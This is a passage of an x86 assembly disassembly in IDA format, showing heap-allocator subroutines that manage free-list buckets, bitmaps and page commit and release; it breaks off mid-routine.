		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD374
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD36C
		jnz	short loc_41ED67
		and	dword_4DD374, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD378
		mov	ecx, dword_4DD368
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD37C
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD368, 10h
		mov	dword_4DD37C, eax
		mov	eax, dword_4DD378


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD37C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD384
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27F0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2670CA8h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 27E0580h


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD378
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 2670CA8h
		nop
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE60, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE50
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27F0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE50
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE50, 0
		jnz	short loc_41F296
		mov	off_43AE50, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE54, 0
		jnz	short loc_41F2BB
		mov	off_43AE54, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE54
		mov	[esi+4], eax
		mov	off_43AE54, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		call	near ptr 2670E21h
		nop


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27E0580h


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 2670E21h
		nop
		cmp	off_43CE70, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE70, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD384
		nop
		call	near ptr 27E0580h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE60, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE54
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 2670E21h
		nop
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE40
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE54
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE50
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE40
		cmp	dword_4DBE40, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE70
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
		jbe	short loc_41F56A
		push	ebx
		push	ecx
		push	eax
		call	sub_41F716
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F5D9
